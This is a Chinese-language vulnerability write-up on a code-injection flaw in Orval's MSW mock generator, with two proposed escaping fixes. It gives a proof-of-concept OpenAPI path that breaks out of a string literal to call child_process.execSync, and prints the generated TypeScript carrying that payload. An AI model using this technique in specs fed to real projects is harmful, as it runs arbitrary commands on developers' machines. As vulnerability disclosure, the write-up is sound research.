Orval MSW Route Path Injection 漏洞挖掘
Orval MSW Route Path Injection 漏洞挖掘
Orval MSW Route Path Injection 漏洞挖掘
前言
之前分析了Orval漏洞的原理后,核心逻辑就是注释+拼接,所以再寻找了其他的地方,肯定还有这种用法,寻找新的可控拼接点就好了
漏洞概述
Orval 的 MSW (Mock Service Worker) 生成器在处理 OpenAPI 规范的路径时,没有对单引号进行转义,直接将路径拼接到生成的代码字符串字面量中。这使得攻击者可以通过精心构造的 OpenAPI 路径,在路径字符串中注入恶意代码,"跳出"字符串字面量并执行任意 JavaScript 代码。
环境搭建
之前介绍过了,我还是用的之前的源码
漏洞复现
创建恶意 OpenAPI 规范
文件: poc_enum_injection/route-malicious.yaml
openapi: 3.0.4
info:
title: Route Injection Test
version: 1.0.0
servers:
- url: https://api.example.com/v1
paths:
# 我们控制的路径 - 包含单引号注入 payload
"/api/test' + require('child_process').execSync('echo ROUTE_INJECTION > /tmp/route-poc.txt').toString() + '":
get:
summary: Test endpoint
operationId: testEndpoint
responses:
'200':
description: Successful response
content:
application/json:
schema:
type: string为什么需要这样构建,还是恶意拼接然后把我们的命令逃逸出来
- 路径中的第一个单引号
'用于闭合后面模板字符串中的单引号 - require('child_process').execSync('echo ROUTE_INJECTION > /tmp/route-poc.txt').toString() 是注入的恶意代码
- 最后的单引号
'闭合后面的,防止报错
创建 Orval 配置
文件: poc_enum_injection/route-poc.config.mjs
export default {
'route-test': {
input: {
target: './route-malicious.yaml',
},
output: {
mode: 'single',
client: 'react-query',
target: './route-generated/api.ts',
mock: true,
},
},
};生成恶意代码


/**
* Generated by orval v7.17.2 🍺
* Do not edit manually.
* Route Injection Test
* OpenAPI spec version: 1.0.0
*/
import {
useQuery
} from '@tanstack/react-query';
import type {
DataTag,
DefinedInitialDataOptions,
DefinedUseQueryResult,
QueryClient,
QueryFunction,
QueryKey,
UndefinedInitialDataOptions,
UseQueryOptions,
UseQueryResult
} from '@tanstack/react-query';
import axios from 'axios';
import type {
AxiosError,
AxiosRequestConfig,
AxiosResponse
} from 'axios';
import {
faker
} from '@faker-js/faker';
import {
HttpResponse,
delay,
http
} from 'msw';
import type {
RequestHandlerOptions
} from 'msw';
/**
* @summary Test endpoint
*/
export const testEndpoint = (
options?: AxiosRequestConfig
): Promise<AxiosResponse<string>> => {
return axios.get(
`/api/test' + require('child_process').execSync('echo ROUTE_INJECTION > /tmp/route-poc.txt').toString() + '`,{
...options,}
);
}
export const getTestEndpointQueryKey = () => {
return [
`/api/test' + require('child_process').execSync('echo ROUTE_INJECTION > /tmp/route-poc.txt').toString() + '`
] as const;
}
export const getTestEndpointQueryOptions = <TData = Awaited<ReturnType<typeof testEndpoint>>, TError = AxiosError<unknown>>( options?: { query?:Partial<UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData>>, axios?: AxiosRequestConfig}
) => {
const {query: queryOptions, axios: axiosOptions} = options ?? {};
const queryKey = queryOptions?.queryKey ?? getTestEndpointQueryKey();
const queryFn: QueryFunction<Awaited<ReturnType<typeof testEndpoint>>> = ({ signal }) => testEndpoint({ signal, ...axiosOptions });
return { queryKey, queryFn, ...queryOptions} as UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData> & { queryKey: DataTag<QueryKey, TData, TError> }
}
export type TestEndpointQueryResult = NonNullable<Awaited<ReturnType<typeof testEndpoint>>>
export type TestEndpointQueryError = AxiosError<unknown>
export function useTestEndpoint<TData = Awaited<ReturnType<typeof testEndpoint>>, TError = AxiosError<unknown>>(
options: { query:Partial<UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData>> & Pick<
DefinedInitialDataOptions<
Awaited<ReturnType<typeof testEndpoint>>,
TError,
Awaited<ReturnType<typeof testEndpoint>>
> , 'initialData'
>, axios?: AxiosRequestConfig}
, queryClient?: QueryClient
): DefinedUseQueryResult<TData, TError> & { queryKey: DataTag<QueryKey, TData, TError> }
export function useTestEndpoint<TData = Awaited<ReturnType<typeof testEndpoint>>, TError = AxiosError<unknown>>(
options?: { query?:Partial<UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData>> & Pick<
UndefinedInitialDataOptions<
Awaited<ReturnType<typeof testEndpoint>>,
TError,
Awaited<ReturnType<typeof testEndpoint>>
> , 'initialData'
>, axios?: AxiosRequestConfig}
, queryClient?: QueryClient
): UseQueryResult<TData, TError> & { queryKey: DataTag<QueryKey, TData, TError> }
export function useTestEndpoint<TData = Awaited<ReturnType<typeof testEndpoint>>, TError = AxiosError<unknown>>(
options?: { query?:Partial<UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData>>, axios?: AxiosRequestConfig}
, queryClient?: QueryClient
): UseQueryResult<TData, TError> & { queryKey: DataTag<QueryKey, TData, TError> }
/**
* @summary Test endpoint
*/
export function useTestEndpoint<TData = Awaited<ReturnType<typeof testEndpoint>>, TError = AxiosError<unknown>>(
options?: { query?:Partial<UseQueryOptions<Awaited<ReturnType<typeof testEndpoint>>, TError, TData>>, axios?: AxiosRequestConfig}
, queryClient?: QueryClient
): UseQueryResult<TData, TError> & { queryKey: DataTag<QueryKey, TData, TError> } {
const queryOptions = getTestEndpointQueryOptions(options)
const query = useQuery(queryOptions, queryClient) as UseQueryResult<TData, TError> & { queryKey: DataTag<QueryKey, TData, TError> };
query.queryKey = queryOptions.queryKey ;
return query;
}
export const getTestEndpointResponseMock = (): string => (faker.word.sample())
export const getTestEndpointMockHandler = (overrideResponse?: string | ((info: Parameters<Parameters<typeof http.get>[1]>[0]) => Promise<string> | string), options?: RequestHandlerOptions) => {
return http.get('*/api/test' + require('child_process').execSync('echo ROUTE_INJECTION > /tmp/route-poc.txt').toString() + '', async (info) => {await delay(1000);
return new HttpResponse(JSON.stringify(overrideResponse !== undefined
? (typeof overrideResponse === "function" ? await overrideResponse(info) : overrideResponse)
: getTestEndpointResponseMock()),
{ status: 200,
headers: { 'Content-Type': 'application/json' }
})
}, options)
}
export const getRouteInjectionTestMock = () => [
getTestEndpointMockHandler()
]
漏洞分析
代码分析
getRouteMSW/转义问题
一样都是转义的问题,只转义了冒号 (:),没有转义单引号 ('),允许我们去闭合字符串
export const getRouteMSW = (route: string, baseUrl = '*') => {
// 🔴 只转义了冒号 (:),没有转义单引号 (')
route = route.replaceAll(':', '\\\:');
const splittedRoute = route.split('/');
return splittedRoute.reduce((acc, path, i) => {
if (!path && !i) {
return acc;
}
// 🔴 当路径不包含参数时,直接拼接
// 单引号没有被转义,允许我们去闭合字符串
if (!path.includes('{')) {
return `${acc}/${path}`;
}
return `${acc}/${getRoutePath(path)}`;
}, baseUrl);
};generateDefinition/拼接
const handlerImplementation = `
export const ${handlerName} = (overrideResponse?: ${returnType} | ((${infoParam}: Parameters<Parameters<typeof http.${verb}>[1]>[0]) => Promise<${returnType}> | ${returnType}), options?: RequestHandlerOptions) => {
return http.${verb}('${route}', async (${infoParam}) => {${
delay === false
? ''
: `await delay(${isFunction(delay) ? `(${delay})()` : delay});`
}
${isReturnHttpResponse ? '' : `if (typeof overrideResponse === 'function') {await overrideResponse(info); }`}
return new HttpResponse(${
isReturnHttpResponse
? isTextPlain
? overrideResponse
: `JSON.stringify(${overrideResponse})`
: null
},
{ status: ${status === 'default' ? 200 : status.replace(/XX$/, '00')},
${
isReturnHttpResponse
? `headers: { 'Content-Type': ${isTextPlain ? "'text/plain'" : "'application/json'"} }`
: ''
}
})
}, options)
}
`; '${route}' 中的 route 变量直接被插入到单引号字符串字面量中,也就是我们的恶意代码
过程分析
我们输入 (OpenAPI 路径)
↓
"/api/test' + require('child_process').execSync('evil') + '"
↓
Orval 生成代码时未转义路径
↓
http.get('${route}', ...) ← 没有转义
↓
生成: http.get('*/api/test' + evil() + '', ...)
↓
当 handler 函数被调用时触发
↓
代码执行正常路径输入:
paths:
/api/users:生成的代码:
http.get('/api/users', ...)恶意路径输入:
paths:
"/api/test' + require('child_process').execSync('evil') + '":生成的代码:
http.get('*/api/test' + require('child_process').execSync('evil') + '', ...)- 第一个
'闭合字符串:http.get('*/api/test' +字符串拼接操作符require('child_process').execSync('evil')执行系统命令.toString()将结果转为字符串+再次拼接- 最后的
'开始新的字符串
推荐修复
修复方案 1: 在 getRouteMSW 中转义
文件: orval-7.17.2/packages/mock/src/faker/getters/route.ts
export const getRouteMSW = (route: string, baseUrl = '*') => {
+ // 转义单引号和反斜杠
+ route = route.replaceAll('\\', '\\\\').replaceAll("'", "\\'");
route = route.replaceAll(':', '\\\\\:');
const splittedRoute = route.split('/');
return splittedRoute.reduce((acc, path, i) => {
// ...
}, baseUrl);
};修复方案 2: 使用 jsStringEscape
文件: orval-7.17.2/packages/mock/src/msw/index.ts
+ import { jsStringEscape } from '@orval/core';
const handlerImplementation = `
export const ${handlerName} = (...) => {
- return http.${verb}('${route}', async (${infoParam}) => {
+ return http.${verb}('${jsStringEscape(route)}', async (${infoParam}) => {
// ...
}
}`;参考
免责声明
本漏洞分析报告仅用于安全研究和教育目的。所有测试均在授权的环境中进行。请勿将此信息用于任何非法目的。
Orval MSW 生成器未转义 OpenAPI 路径中的单引号,导致路径拼接时可注入并执行任意 JavaScript 代码。
由 AI 根据全文自动生成,仅供参考,以原文为准